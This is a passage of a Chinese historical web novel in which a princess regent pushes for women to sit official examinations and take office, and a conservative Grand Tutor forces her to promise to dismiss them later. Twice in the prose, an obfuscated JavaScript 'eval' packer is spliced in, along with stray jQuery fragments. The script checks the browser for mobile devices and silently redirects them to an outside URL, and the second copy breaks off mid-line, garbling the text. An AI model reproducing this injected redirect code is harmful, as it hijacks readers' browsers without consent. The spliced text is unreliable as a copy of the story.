温国公疑惑道:“太后宴请,一般都是三品以上的夫人,刑部员外郎不过才五品,他的夫人怎么会在宴上?” 送饭?温国公察觉到有一丝不妥,先前听嘉诚说起过,太子被毒害,就是有人将掺了毒药的饭菜强行喂给了太子,如今黄崇安被毒杀,两者是否有关联呢? 温国公夫人道:“不是太后宴请那次,是前几日我娘家,齐国公府答谢各家沿途设下路祭。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274280|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温国公皱着眉:“如今正值国丧,政权交迭之际,还是不要频繁出入这些宴席,不要与人闲聊,免得日后落人话柄。” 温国公夫人笑道:“我知道的,先前那个刑部侍郎的夫人,不就是因为多说了两句与谋害太子一案有了牵连,这才被满门抄斩的吗,你放心,我在宴会上都不张口说话的,向来只是坐在一旁侧耳倾听。” 温国公道:“今日这些话你也不要再同旁人说,都咽在肚子里。” 温国公夫人点点头。 温嘉诚手里持着一张长弓,冷不丁在二人背后开口道:“父亲母亲,听着你们聊了一路了,在说什么呢,还这么小心谨慎。” 温国公夫人与温国公都吃了一惊,猛然回头道:“你……方才都听到了?” 温国公夫人心有余悸,抚着胸口平复着心情。温国公则是瞪了温国公夫人一眼,嘴上也没个把门的。温国公夫人则是暗中给了温国公一肘子,你不是也听得津津有味吗? 温嘉诚见父母神色紧张,笑道:“你们说得那么小声隐秘,我从何而知?” 温国公道:“那就好,那就好。嘉诚,抚政大长公主到了,现下正在前厅,点名要见你呢,你快去吧。” 温国公夫人喊住快走了两步的温嘉诚,取下她手中的长弓,卸下身后背着的箭袋:“回来,见殿下哪里能带这些呢?” 温嘉诚笑道:“是。” 温嘉诚大步流星,待进了前厅,便听到刘安客套道:“嘉诚,近来可好?怎么不进宫找我去。” 温嘉诚恭敬行礼,语气淡淡道:“如今百废待兴,想来殿下繁忙,不敢叨扰。不知殿下今日前来所为何事?” 温嘉诚与刘安交集并不深,只是小时候与刘宁一起玩耍时,与刘安见过几面,因而如今听到刘安如此说,有些疑惑。 刘安不由得讪笑一声,屏退身旁服侍的人,见前厅只剩下她与温嘉诚二人,也不客套了,开门见山道:“如今新帝登基,百废待兴,我想推行新政,想来想去,只有你最合适。” 温嘉诚言语疏离道:“推行新政自有前朝的大臣们,我不过一介小小女子,连仕都入不得,何来合适一说。” 刘安看向温嘉诚,语气坚定道:“我要推的新政是女官,女子为官之政。” 女官? 温嘉诚听后震惊,是……是女子也可入朝为官的新政吗?温嘉诚的目光对向刘安,只见刘安面上带笑,眼神坚定地看向她,温嘉诚不免慌乱垂下眼眸,内心震撼。 但又拿不准,是她想的那样吗?还是…… 温嘉诚心中已泛起波澜,可面上仍装作平静,语气镇定,试探问道:“织造司、教坊司,乃至宫中的尚宫四职,皆为女官,女子为官皆有祖制可循,殿下依循旧制照做便是。” 刘安也不和温嘉诚绕圈子,站起身走近温嘉诚,果断道:“不,是女子入前朝为官,出相入仕,拜将封爵。” 出相入仕,拜将封爵…… 温嘉诚听后内心悸动,不知所措,这是她的机遇,但…… 温嘉诚后退数步,扶着边上的椅子慢慢坐下,双手不自觉地伸向茶盏,想喝了口茶水压惊,不想心中激动,双手已不受控制地颤抖,失手洒了些茶水。 刘安走向温嘉诚,从袖中掏出手帕,俯身为温嘉诚擦拭着撒掉的茶水。 温嘉诚看向刘安:“殿下——” 刘安道:“我知道,女子入朝为官听着很荒谬,但我会坚定地推下去。” “本宫就是想让世人看看,女子也可做一家之主,女子也可治国理政,女子也可保家卫国,女子也可有一番大作为。” “本宫希望,日后我朝女子,幼时不用依附于父兄,长大不用依附于夫家,年迈时也不必依附于儿辈。单凭自己,便是一番天地。” 刘安以退为进,笑道:“你若心中犹豫,我可以等,若你不想,我也绝不强求。” 刘安说罢,转身推开房门。 凌冽的寒风迎面吹来,唤醒了温嘉诚,唤醒了温嘉诚的内心。 叔伯们、堂兄弟们仗着她只是一女子,屡次三番来国公府闹,闹着要继承温国公府的家业,叔伯们的德行父亲是知道的,若是将温国公府的未来交于他们手上,只怕温国公府离落笔便不远了。 她如今想做的,便是成为一家之主承袭爵位,保护父母,保护温国公府,保护温氏一族的荣耀,可她偏偏是女子…… 温国公府世代驻守边疆,如今的边境安宁都是先辈们一刀一枪拼出来的,保家卫国早就深深刻在了她骨子里。 她如今想做的,便是成为一代将领,保家卫国,收复疆土,可她偏偏是女子…… 若是女子可以如同男子一般……今时今日,这样的机会便摆在她眼前,她还要犹豫什么? “殿下——” 温嘉诚站起身,叫住刘安,双膝跪下,头重重得磕在地上,言语坚定道:“愿与殿下共进退。” 84. 安内(九)拉拢人才 等的就是这一句。 温嘉诚身份特殊,一来她出身温国公的独生女儿,出身世家;二来她近来备受困扰,恨不得自己是个男儿身继承家业,今时有这样的机会摆在面前,自然不会放手;三来,她曾是孝懿太子的太子妃,虽说已是和离,可朝中诸人看在孝懿太子的份上,谁不卖她份薄面呢? 刘安低头,笑意浮在脸上,旋即转身扶起温嘉诚,四目相对,眼中唯余炽热:“嘉诚,你有才华,有本事,又有家世。有你从旁助力,我便可安心了。” “你且再耐心等上些时日,待我将朝内一应事务料理妥当,我便开设女子科考,到那时,便可招揽天下有才能之女子入朝为官。” 温嘉诚拱手恭敬道:“谨遵殿下旨意。” 说着,刘安不免轻叹一声:“只是……这女子科考,普天之下只我这是第一场,只怕消息一出,大家都在观望,无人参与呢。” “若是第一场便办不好,无人参与,那往后只怕就没了张望。”刘安摇摇头,双手交叠一拍,犯了难:“这可怎么办才好?” 温嘉诚宽慰道:“殿下不必过于忧虑,单这京中有才能又郁郁不得志的女子数不胜数,单我知道的便有四五个。殿下若是放心我,便尽管放手去做,参与科考的女子,我亲自去游说她们。” “即便是她们有所顾忌踌躇不前,我温嘉诚定会形影不离地跟随在殿下身后,做殿下的门生。” 刘安轻轻拍了拍温嘉诚的手,眼神坚定,点点头,道了声:“好。” 送走刘安之后,温国公夫人凑到温嘉诚身旁问:“嘉诚,方才大长公主殿下同你说了什么?” 温嘉诚浅浅一笑,并未将她与刘安密谈之事说出:“那可是?好的事,父亲母亲就等着看吧。” 温嘉诚此时神采奕奕,往日的颓势一扫而空。 温国公夫人见女儿的精气神全回来了,见她不愿说,也不再追问。 “国公爷,夫人!族内宗亲们又来闹了!” 闻听此言,温国公及夫人的脸色骤变。 温嘉诚上前一步,气势汹汹道:“把他们都打出去!温国公府何时容得下他们在此造次!” 仆人们怔住片刻,抬眼看向温国公,待看到温国公点头默许后,纷纷抄上了家伙事。 温国公原想着,待他与夫人百年之后,除了温氏一族的族亲外,女儿温嘉诚会无依无靠,为着女儿,温国公便对族人多有忍让,毕竟日后还需从族人中过继嗣子承袭爵位。可如今女儿能依靠上抚政大长公主,他亦可安心,对这些蹬鼻子上脸的族亲们,便也无需再忍。 听得门外传来的阵阵哀嚎,还有声声的吵闹叫嚷咒骂之声,温国公夫人顿觉解气,头疼都缓解了不少。 温嘉诚看着父亲母亲如释重负地笑容,心中之路早已坚定,她一定会坚定不移地站在大长公主殿下身边,殿下推行女官之政,她也一定会坚定地走下去。 依着大长公主的意思,不日便要开设女子科考,她也该去笼络些人去参与科考了。 京中不乏有才能有抱负的女子,开国公家的孙女李淑华,齐国公的小妹张兰馨,抑或是王太傅的孙女王润蕾,她们只是苦于女子的身份,无法参与到朝廷之中。 温嘉诚想了想,决定先从开国公家的孙女李淑华下手。 开国公祖上是跟着天启皇帝打江山的老臣,位列四国公之首,只是后面的子孙们不争气,自承道一朝起,开国公家的子孙们科考无望,早已不在朝廷的要紧处任职当差,如今仅仅靠着祖上荫封支撑着这一大家子。 若说自救,开国公家里不是没想过法子,先前抚政大长公主的封号还是永安公主时,开国公家里便想着通过迎娶公主与皇家攀上关系。 家里出身贵重的,满打满算只有李重满这一个长子长孙,可这李重满还偏偏是个整日混迹在脂粉堆里的人物,家里妾室婢女成群,又毫无志向可言,如何能配得上承道帝心尖儿上的永安公主? 如此一举,非但没有自救成功,反而挨了承道帝好大一通训斥,开国公府的状况倒是更差了。 听说近来开国公府里的夫人们都开始悄摸地卖首饰了。 如今既有这样的机会,想必李淑华自是不会错过。 温嘉诚驱车来到开国公府,随着一众丫鬟婆子们将她引到后院,便听到一声高过一声的争吵,听着像是李淑华和李重满的声音。 李淑华恨铁不成钢道:“兄长身为开国公府的长子长孙,理应多读些书多下些功夫,一心向上科考,来日考得个功名——” 李重满道:“得得得,又来了。” 温嘉诚听得尴尬一笑,同身旁的婆子说:“听着他们里面在交谈,我不便进去,便在此处等着吧。” 同样是在一旁屋内等候的王润蕾见院内人影攒动,掀起厚重的帘子,小跑出来道:“嘉……嘉诚,你……你也来……来了。” 温嘉诚见到王润蕾,很是意外。 王润蕾道:“进……进屋等……等着吧。”说着,带着温嘉诚进了一旁的屋子小坐。 隔壁屋子里一阵物品落地的啷当声响起,温嘉诚同王润蕾甚是担忧地站起来在屋内踱步。 只听得李淑华恨恨道:“兄长,你很是不该整日混在女人堆里面,平日里诗书礼乐你不是很通吗?做文章作诗你都在行,你也很是该在科考仕途上下些功夫,你身为长子长孙,理应担上复兴家族的担子才是。” 李重满道:“阿谀奉承、曲意逢迎,实非我本愿,那如泥潭一般的官场,我实在不愿去里面搅合。” “再说了我的好妹妹,你也不看看参与科考的都是些什么人,他们都是寒门子弟,我出身开国公府,祖上都是跟着宫里贵人在战场上厮杀的,我与那些人自是不同。” “你也不看看,满京城的官宦子弟中,有哪一个是参加过科考?大家不都靠着祖上的荫封谋个一官半职吗?说白了,大家都看不上那些寒士们,看不上他们挤破头一般地通过科考就任个一官半职。” “我是开国公府的长子长孙,我若是参加科考,岂不丢面儿?日后我又如何能在大家面前抬起头来?” 李淑华听得此话,不可置信的地走到李重满面前,手里的书卷拍打在书桌上:“兄长,如今家里落败,单凭祖上的荫封,如何能撑得起这么大的一片家业?” “不说别的,就看如今的温国公,人家也是战场上厮杀下来的,历代驻守边疆,功勋卓著,即便是今日回京,也在朝堂之上能有一席之地,陛下、乃至长公主殿下都对温国公礼让有加。” “如今的齐国公,虽说人家才刚承袭爵位,可人家素来有抱负,又有哪一个敢小瞧了去?” “还有王太傅的孙子,比兄长还要小上几岁,先前外放出京几年,如今不也回京任职户部侍郎吗?他走的这每一步,不都是脚踏实地走出来的吗?” “他们又有哪个是只靠祖上的荫封过活?” “比比比,你就知道拿我和他们作比。”李重满辩驳道:“妹妹,你是只知其一,不知其二,只看得见他们外头风光,没看到他们里头糟啊。” “那温国公,只有一个女儿,如今为着过继嗣子的事儿,族里都快闹翻了,满京城都在看他们家的笑话呢!可你看我们开国公,谁敢看我们家里的笑话?有我这个长子长孙坐镇,你看他们谁敢?” “还有那齐国公,文章诗句,骑射拳脚,哪一样比我好?若我日后承袭爵位,定不会比那齐国公差。” “还有那王焕,更是——”李重满摇摇头重新坐下,收拾着桌子上的一片狼藉,眼神中满是嘲讽:“你以为那户部侍郎是那么好当的?你以为那户部尚书程显是什么好人?保不齐他也会像黄崇安一样,落得个惨死狱中的下场。” 李重满摆摆手:“啧啧啧,妹妹啊,这官场上,没你想得那么简单,没那么好混。” 他也不是没想过去朝廷里面担个一官半职,先前孝懿太子在时,太子手下能人众多,哪里轮得着他奉承? 后来好容易起来个二皇子,勉强能与太子争锋,便想着赌一赌,押宝二皇子,却没想到二皇子玩得这么大,竟敢谋害太子,当初先帝一怒之下斩杀了多人,幸亏他有先见之明,跑得够快,要不然如今他早就是孝懿太子的陪葬了,还谈什么复兴家族? “我呀,不如就醉倒在这温柔乡里面。”说着,李重满朝着旁边婢女的胯上捏了一把。 这是李淑华的书房,房间里也是李淑华身边的婢女,婢女站在原地不敢动,害怕地看了眼李淑华。 李淑华气不打一处来,怒道:“兄长!” 李淑华胸腔起伏,压抑着满腔的怒火,别过脸去,不再看李重满:“兄长应当自尊自重。” 李重满毫不在意,吊儿郎当道:“你看看你,你若是有做妹妹的心,该将这婢女打包送到我屋里去。” “你!” 李淑华怒不可遏,直指李重满,看着李重满毫无上进之心,不免冷哼一声:“若我是开国公府的长子长孙,我自当出去闯荡一番,匡扶祖业,立一番事业。断然不会像兄长这般,只知道每日的情情爱爱。” 李重满迎着李淑华的指尖,阴郁起身,扬起的巴掌落在半空中:“若不是看在你是我一母同胞的妹子的份上,你的脸早肿得一尺多高了。” “哼。”李重满冷哼一声,甩袖掀帘,忽而止住脚步,道:“妹妹,你如此忧心唠叨,不如先忧心忧心自己,为自己谋求个好夫家,日后也好多帮衬帮衬家里,你日后也不必再这般忧心家里了。”说罢,便提脚离开,没走几步,迎面碰上听了多时的温嘉诚与王润蕾二人。 方才李淑华与李重满争执时,言语多有不善,温嘉诚与王润蕾在隔壁屋子里听得真切,如今脸色都不是很好。 李重满脸上闪过一阵尴尬之色,拱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温嘉诚话还没说完,李淑华便尬笑着打断:“温姐姐,我方才……不过是气急了浑说的。” 温嘉诚笑笑:“如今便有这样的机会摆在眼前,不知淑华是否还有这样的心气儿?” 李淑华和王润蕾闻言一愣,二人对视一眼,不甚明白乃至不敢去明白温嘉诚话中的意思。 温嘉诚眼神看向屋内的一众丫鬟婆子,李淑华会意,屏退仆从,紧接着拉着温嘉诚与王润蕾去了内室。 李淑华试探着问道:“方才姐姐说有这样的机会,不知是怎样的机会?” 温嘉诚单手背于腰间,气宇轩昂道:“参加科考、入朝为官的机会。不知二位可否感兴趣?” 王润蕾听得愣神,结巴道:“入……入朝……这……这……不能……不能胡说。” 李淑华定定地看了温嘉诚片刻,问道:“可当真?” 温嘉诚:“当真。” “如今大长公主监国理政,女子在世的艰难她都看在眼里,不忍于心,为此,她希望今后凡我朝女子,皆可凭借着自身闯出一番天地,不必依附父兄夫家,不必依附儿孙子侄。” “想必不久,便会传出开设女子科考场的消息,且看二位敢不敢了。” 王润蕾有些犹豫,踌躇不已。 李淑华想了一瞬,便迫不及待地应下:“我盼这一日盼了多年,如今机会就在眼前,怎会不敢?” “嘉诚,我敢。别说是参与什么女子科考,就算是说女子为官前要上刀山下火海,我也在所不惜,万死不辞。” 温嘉诚看向犹豫不决的王润蕾,等着她的表态看法。 王润蕾犹豫道:“这……我……我回……回去再……同……同我祖父……商量……商量……” 李淑华道:“润蕾,眼下机会难得,还要再商量什么?” 温嘉诚皱眉道:“润蕾,殿下所说女子为政一事,朝中还需料理一番,此事除了这间屋子里的你我三人以外,切不可再让旁人知晓,坏了殿下大事。” 王润蕾垂下眼眸,脸上有些纠结,虽说她觉得有些不妥,但还是应下:“……是……放……放心……” 温嘉诚见她这个样子,怎能放得下心? 李淑华知王润蕾近来正为着婚嫁一事烦忧,便道:“润蕾,若是日后你做了女官,来日拜相封爵,撑起一片天,还有哪个敢催你成婚嫁人?” “你又何须再有什么忧愁?” 王润蕾想了想:“这……这……倒也是……”说罢,王润蕾抬头看向温嘉诚:“嘉诚,若是……若是……女子为官的政策下来……你可要及时……告知我们二人……” 温嘉诚笑道:“那时自然。” 前途一片光明之象,三人自是一番憧憬,静候佳音。 85. 安内(十)处处受阻 抚政大长公主刘安开设女子科考场的举措还未曾实施,太傅王落儒便从孙子王焕口中得知了此事。 “胡闹!这不是在胡闹吗?”王落儒重重一掌拍在桌子上,“从古至今便没有女子当政这样的道理!” 王落儒眉头紧皱,背着手踱步几圈,细细思索着其中的利害,待想清楚后,连连摆手:“不行,不能由着她这样胡来。” “祖父,自古以来幼帝即位,便有太后垂帘听政一说,太后垂帘听政期间,往往也会颁布一系列的政策。如今大长公主垂帘听政,类比太后,颁布些许政策无可厚非。”王焕未曾想到自己祖父在听闻长公主的政策后会有这么大反应,有些后悔将妹妹王润蕾说的这事告知祖父。 王焕虽说入京不过月余,对京中的局势倒也看得清楚。大长公主想让女子入朝为官,无非是为着在朝中能多些人支持她,这样她推行起政策来才会没有阻挠。 就拿先前大长公主推行的开放边市的政策来说吧,听闻推行前朝中大臣多有阻拦,大长公主力压群臣,如今边市开放已有数月,国库的亏空已大有缓解,永州边境也安稳许多。 在王焕看来,长公主推行女子为官的政策之后,肯定会另有一番大作为。 或许能夺回漳州十城也未可知呢。 “你也说了,自古以来,都是太后垂帘听政,哪里有长公主把持朝政的?”王落儒冷哼一声,“若不是先帝临终将幼帝托付给了她,她如今怎能坐在朝堂之上?她又如何能这般肆意妄为违背祖制呢?” 王焕叹了口气道:“祖父也说了,大长公主是奉了先帝的遗命——” 王落儒摆手止住王焕的声音:“好了,不必再说了。我即刻进宫去见长公主,朝政还由不得她胡来。” “祖父!”王焕忙跟上王落儒的步伐,挡在王落儒身前。祖父如今管教得太多,只怕日后会遭到大长公主以及康佑帝的厌弃。 王落儒并不理会王焕,自顾自朝前走着。长公主如今也太肆意妄为了,想一出是一出,全然不把朝中的臣子们放在眼里,今日她敢让女子入前朝做官,明日是不是就会招男子入后宫为宠了? 再怎么说,他也是先帝的顾命大臣,眼里自然容不得这些。 王落儒怀着一腔的怒气来到福康宫。 莲音见王落儒来者不善,扭头便一溜小跑,赶在王落儒之前将此事告知刘安。 刘安批阅着奏章,毫不在意轻笑一声:“来就来呗,我又没做什么亏心事,还怕他?” “王太傅哪次来福康宫不是气势汹汹的?还缺他这一次?” 刘安刚放下手中的奏章,理了理两侧的衣袖,还未曾见到王落儒的人影,便听到一阵急促的脚步声,以及一声: “殿下!殿下!老臣有要事相商!” 刘安哼笑一声,抬眼看向莲音。莲音低头会意,带着王落儒进入书房。 “殿下所行之事皆要依循祖制,所施之策皆要有例可循,切不可一拍脑袋便做出决断啊!” “还望殿下三思!” 刘安饶有兴致地看着面前站得腰杆挺直的王落儒,随即换了一个更惬意的姿势,脸上似笑非笑继续注视着王落儒,心中甚为不解,她做什么了?她是做了什么大逆不道、危国害民的事吗?引得太傅这般指着她的鼻子骂? 莲音瞥了眼刘安的神情,察觉到刘安有些不满,上前一小步,在王落儒身旁小心提醒道:“即便太傅大人与长公主有要事相商,也不可坏了宫里的规矩啊。” 莲音见王落儒不甚明了,继续道:“除了陛下与太后,满宫里可找不着第三个不用向殿下行礼的了。” 王落儒倒吸一口气,一时性急,他竟忘了,慌得跪下行礼,为自己找补道:“微臣也是一时着急,还望殿下见谅。” 刘安鼻尖哼出一个音,并不理睬王落儒,任由他跪在地上,抬手拿起一旁批阅好的奏章重新翻看着。 王落儒年岁大了,鲜少有像现在这样跪在地上,再加上如今深冬,虽说福康宫的炭火供应足量,可这跪久了,地上丝丝的凉意还是会穿透膝盖,膝盖不免刺痛。 刘安瞟了眼王落儒,待桌上的奏折翻阅了两三遍后才恍然开口道:“糊涂东西,怎的也不为太傅拿个蒲团垫在膝下?” 莲音忙道:“是奴婢糊涂了。”说着,转身为王落儒拿来一个蒲团。 刘安笑道:“还望太傅见谅,本宫批阅奏折忘了时,竟全然忘了太傅还在跪着,这真真是——”说着,轻轻揉着有些肿胀的太阳穴,问道:“方才见太傅这般急促,不知太傅此番前来所为何事?” 王落儒早没了先前咄咄逼人的锐气,理了理措辞,谦卑恭顺道:“启禀殿下,微臣听闻殿下意欲征召世家女子入朝为官,微臣私以为,此事不妥。” 刘安道:“哦?” “殿下,先帝在时,对诸如颖州蔡氏、汀州张氏等族多有忌惮,如今他们式微,怎可再启用这些出身世家的女子?”王落儒抬眼飞速瞥了眼刘安神情,继续道:“况且……况且女子入朝为官,古来少见,如此有违祖制的决策,还望殿下三思!” 王落儒见刘安一言不发,继续道:“不知殿下是否还记得,先帝临终前曾说过话?” 内有灾情频发,外有敌寇虎视眈眈,内忧外患之际,切不可妄下决断。承道帝临终前所说的每一个字,都剜刻在刘安心中,她怎会忘? 刘安捏紧袖中的拳头,直直盯着王落儒看了片刻,无奈叹了口气,神色戚戚,起身绕过书桌来到王落儒面前,亲手将王落儒扶起来,“太傅所言,我又何尝不知,只是……只是如今朝堂积弊甚深,本宫乃至陛下有欲改革,除弊创新,可朝中诸臣各有各的心思,皆以己利为重。” “北有胡人厉兵秣马,沿海又有海寇频频骚乱,栾南又有个时时刻刻意欲取而代之的诚王,内忧外患,本宫与陛下走得每一步,都是如履薄冰,攘外必先安内,可如今这些朝臣们又与我们不一心,除了另觅旁人以外,我们孤姐幼弟二人可又该如何是好?” “本宫曾答应过父皇,会看顾好江山社稷、看顾好陛下,如今……我又该怎么办?”说着说着,刘安眼泪不由自主流出,晶莹剔透的两大颗眼泪挂在下巴上,一副可怜委屈的样子。 王落儒有些动容,语气缓和不少:“殿下也不必让女子入朝为官,不如多多任命中举的考生?” 刘安转身从桌上取来奏折:“太傅还不知道吧,如今中举的考生,多出自程显程尚书门下,,他们拧成一股绳,沆瀣一气,逼得本宫与陛下按着他们的意思就范,本宫与陛下又哪里还有别的办法?” “太傅请看吧。” 王落儒接过奏折,未曾看完,便惊讶地开口问道:“殿下,这……栾南如何又来要钱?这样的折子怎么能递上来呢?” 自从诚王在栾南就藩之后,便再也未曾向朝廷缴纳过税收,每年非但没有纳税,还频频向朝廷要钱。往年这些栾南向朝廷要钱的折子,都会被户部按下,并不会呈到御前来。 怎么如今…… 刘安道:“这可是程尚书亲自呈递上来的,余下跟风上奏者十之有七。如今边市上才赚到些利润,本宫原想着,用这笔钱整顿军防、安抚百姓、抗击海寇,可军防还没来得及整顿,各州的百姓未曾得到安抚,栾南便眼巴巴的上折子来要钱,这……” 刘安双手一摊,无奈看向王落儒。 “边市的进账收益,是机密要务,本宫也是前不久才从逍遥王上奏的折子中得知,诚王……他远在栾南,如何知道得一清二楚?”刘安看向王落儒,问出直击灵魂的一问。 “这……”王落儒犹豫不决。 先前刘仲与朝内程显勾结,后又与栾南的诚王相互勾结,虽说刘仲被监禁着,不得与外人沟通,可如今国库充盈不过月余,诚王便得了消息,难保程显与诚王之间没有暗中来往。 如今新帝登基还未满一年,诚王便按耐不住了,若是任由诚王与程显等人从中作梗,只怕新帝皇位不稳。 王落儒思定,看向刘安,目光坚定地点点头。 诚王是留不得了,程显亦是。 刘安见王落儒与她想到一处去了,默然点点头。朝野需安定,不能再有动乱,若是再任由程显诚王等人在朝中作梗,只怕会极大损耗国力,来日还如何抗击胡蛮、抵御流寇、安定民心? 如何还能对得起父皇临终所托? “只是……”王落儒还是有些担心,这若是女子可入朝为官,那女子是否可受封爵位?女子是否会与男子同尊?女子是否可继承家业? 女子是否可继承皇位?毕竟祖宗之制不可违。 王落儒道:“殿下,此时朝局不稳,需要女子入朝为官,那来日江山稳固之后……不知该如何处置这些人?” 刘安不可置信地看向王落儒,嗤笑一声,处置? 飞鸟尽,良弓藏? 王落儒逼迫道:“殿下,祖宗之制不可违,臣还是那句话,从古至今,从未有过女子执政的先例,若女子执政,于日月颠倒又有何异?” 刘安眼中含泪嗤笑一声,语气带着丝丝的颤抖:“太傅言重了,本宫不过是为了……” 为了国家,为了百姓,而已。 “还望殿下别忘了曾答应过先帝的,待陛下及冠之时,还政于陛下!”王落儒不待刘安说完,打断道。天花乱坠的话语谁都会说,还不如一言九鼎的承诺让人安心,王落儒要让刘安亲口答应如今女子为官仅仅是权宜之策。 刘安似哭似笑,胸腔忍不住地颤抖着,自康佑帝登基以来,她事必躬亲,父皇、元弟、孝懿太子他们为了国家耗干心血,如今她亦如他们一样,耗费着心血精气滋养着整个大江朝,却不想到头来,竟被人这样无端揣测。 王落儒再次开口,语气比方才还多了几分的凌厉:“还望殿下日后还政于陛下!” 刘安怔怔看了王落儒良久,开口道:“待来日江山稳固之日、朝局安定之时,入朝为官的女子……” “悉数遣散,永不再用。”刘安忍着胸口的痛,艰难说道。 此话一出,刘安仿佛全身被抽干了力气,只得双手用力抓着桌子,勉强支撑着身体,维持着抚政大长公主的尊严。 王落儒深深看了刘安一眼:“还望殿下,信守承诺。” 刘安无力闭上眼睛,长叹一声,不愿再多看王落儒一眼,在耳旁摆手。 王落儒见目的达成,也不再多言,垂头退下。 听着脚步声渐远,宫室内再无外人,刘安也撑不住了,双脚发软,身体直愣愣坠下去。 刘安知道,永不再用的人,不止是来日入朝为官的女子,还有她。 “殿下!”莲音眼疾手快,垫在刘安身下。 “莲音,你说,我是不是做错了……是不是不应该插手这么多事……是不是……” “殿下怎么会做错呢?” “我……” “殿下,何须去管那些俗人是怎么想的?殿下只管做好自己,无愧于心,无愧于民,无愧于天地,即可。” “莲音……” “殿下,眼看着近来泪少了许多,眼睛也不似先前那般肿,怎么如今又哭了呢?”莲音捧着手帕,轻轻拭去刘安脸上的泪痕,擦拭着,自己的眼泪却不由自主地流出来,殿下的苦她都看在眼里。 刘安听后,抬起朦胧的双眼看向莲音,见她脸上也挂了泪,不禁苦笑一声:“你还说我呢。” “殿下,快起来吧,地上凉。”莲音搀扶着刘安站起身。 望着桌上的奏折、玺印,刘安问道:“莲音,你觉得外面的人都是怎么看我的?” “他们是不是怕我会夺了弟弟的皇位呢?” 莲音不知该说什么安慰刘安,只能沉默地立在一旁。 刘安眯起眼睛,眼中的无助怯懦一扫而去,拿起玺印在手中把玩着,嘴里喃喃道:“大长公主的玺印,不过如此。” “远不及国玺有份量。” 莲音目瞪口呆地看向刘安,嘴张了又张,一时语塞。 刘安紧紧攥着玺印,既然都这么想她,她自然要做些什么,否则,怎么担得起? 程显算什么东西,若不是父皇看重,他也配站在朝野之中? 诚王又算个什么东西,无非是仗着他是父皇的胞弟,若不是父皇重情,怎会留他到今日? 王落儒,他又是个什么东西,先前辅佐教导孝懿太子时,迂腐愚昧不知变通,如今又仗着父皇的遗诏,三番两次地摆架子耍威风,今日还逼着她立誓许诺,他不过一个迂腐儒生,他也配? 待日后她刘安在前朝扶持了自己的势力,再无人阻挠之时,这些人,都是废棋。 “莲音,即刻拟旨,六个月之后,在京都开设科考场,凡我朝女子,无论贫富贵贱,无论民籍抑或是贱籍,皆可入场。” “考的不是针织女工,而是为国为民、治国理政之道。” 莲音匆匆研好墨,提笔按照刘安的意思草拟好旨意。 刘安看过,随即张开手掌,取出玺印,用力盖上。 “传,传出宫去,传到江朝十州的土地上,让天下臣民皆知!” 不出月余,城中街巷,乡野村间,乃至酒肆乐坊,无不在议论抚政大长公主不就前颁布的新政。 “凡我朝女子,无关贫富贵贱,无关民籍贱籍,皆可参加科考,这可是天大的喜事啊!” “六个月之后科考,我回去就让我家娘子用功读书,我家娘子还在闺阁中时,便博览群书,科考中榜绝不再话下,若是日后入了前朝为官,我还得仰仗我家娘子提拔呢。” “说得对,我回去让我家女儿都读上书,日后能做个芝麻小官也是好的,起码不会再被人欺负了。” “这……说的是凡我朝女子,这是只有女子才能参加吗?男子不可吗?” “男子?之前的科考场上参加不都是男子吗?如今这是大长公主殿下格外开恩,才让女子也可参与科考入仕为官!” “切,谁知道选中以后是做官呢还是做什么呢!说不定是给皇帝选妃呢!” “别胡说,大长公主监国理政期间,可谓是国富民强!” “国富民强?怎么,边市的钱落你捞着了?你富了?说得好听,说不定钱都落那位的私库里了。” “有可能,我听说逍遥王最是爱财,如今他又在掌管边市,那可是个富得流油的差事,谁知道往自己腰包里面塞了多少。” “这……二位殿下人品贵重,可不是你们所说的那样!你……哼,竖子不足以谋!” “还是女子好啊,轻轻松松就能参加科考做官。” “瞧你们这话说的,男子参加科考做官的不在少数,而女子,普天之下这可是第一次!有什么可抱怨的!” “女子做官?自古以来便没有这样的道理,这不是在胡闹吗?” 李淑华听着街头巷尾民众的议论声,放下轿帘,喃喃道了句:“怎么能说是胡闹呢?依我看,倒是开天辟地第一件呢!” 一旁的婢女问道:“姑娘,你方才说什么?” 李淑华摇摇头,笑而不语,看来嘉诚说得都是真的。 李淑华道:“多采买些笔墨纸砚,这六个月,我要用功读书。” 婢女捧场道:“是。依着姑娘的才华,兴许日后还会封侯拜相呢。” 李淑华深吸一口气,双手紧握在一起,是啊,封侯拜相,若她可入朝为官,何愁不能兴盛开国公府? 李淑华回到开国公府,刚把书房收拾妥当,便见她的嬷嬷喜笑颜开地走进来。 李淑华笑道:“嬷嬷,你也听说了大长公主的新政吗?” 嬷嬷愣了一下,道:“新政?即便是有什么新政,又与我们这些后院的女子有什么干系?” 说着,嬷嬷拿出手中的拜帖:“姑娘,这是海州邵家递过来的拜帖。” 李淑华接过,草草扫了一眼后撇到一旁:“海州邵家?没听说过,与我们家相比,如何?” 嬷嬷笑道:“那哪儿能和我们开国公府相比?我们家可是位列建国四公之首呢,如今辅国公赵家、晋国公蔡家都已没落,也就我们开国公李家与齐国公张家还在。” “那海州邵家,不过是寒门而已,也就是前不久,他们家的大公子升任了兵部侍郎,这才举家搬到了京中,要不然,这拜帖还递不到我们眼前呢。” 李淑华闻言,不免轻笑一声,如今家中这样的光景,不过是强撑着的体面罢了,从上到下个个都心比天高,眼睛都恨不得长在天上了。 李淑华翻起一本古书,看了两三页,问道:“那他们为何要向我们递拜帖?” 嬷嬷不自然地尬笑两声,抽走李淑华手中的书,从一个匣子中取出一支金凤钗插在李淑华发髻间,催促道:“姑娘快去吧,老夫人、夫人都在前厅等着呢。” 李淑华伸手拔掉金钗,随手丢在桌子上。 